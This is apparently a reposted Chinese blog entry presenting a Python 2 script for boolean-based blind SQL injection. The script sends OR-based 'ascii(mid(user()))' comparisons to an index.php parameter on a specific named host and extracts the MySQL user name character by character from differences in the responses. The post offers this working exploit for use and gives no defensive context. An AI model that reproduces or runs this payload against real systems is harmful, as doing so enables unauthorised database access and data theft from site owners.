码迷,mamicode.com
首页 > 其他好文 > 详细

盲注脚本2.基于bool

时间:2018-03-10 10:21:43      阅读:224      评论:0      收藏:0      [点我收藏+]

标签:blog   version   stdout   encoding   response   inux   post   highlight   ring   

盲注脚本2.基于bool

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib

headers = {
    ‘User-Agent‘: ‘Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1‘,
}

payloads = list(‘abcdefghijklmnopqrstuvwxyz0123456789@_.‘)


print ‘start to retrive MySQL user:‘
user = ‘‘
for i in range(1,15,1):
    for payload in payloads:

        conn = httplib.HTTPConnection(‘lbj.cikuu.com‘, timeout=60)
        s = "ascii(mid((user()),%s,1))=%s" % (i, ord(payload))
        
        conn.request(method=‘GET‘,
                     url="/index.php?a=arcon&id=-1 OR " + s + "&m=Index",
                     
                     headers = headers)
        html_doc = conn.getresponse().read()
        conn.close()
        
       
        
        if html_doc.find(‘2014‘) > 0:
            user += payload
            sys.stdout.write(‘\r[In progress] %s‘ % user)
            sys.stdout.flush()
            break
        else:
            print ‘.‘,

print ‘\n[Done]MySQL user is‘, user

  

盲注脚本2.基于bool

标签:blog   version   stdout   encoding   response   inux   post   highlight   ring   

原文地址:https://www.cnblogs.com/nul1/p/8537202.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!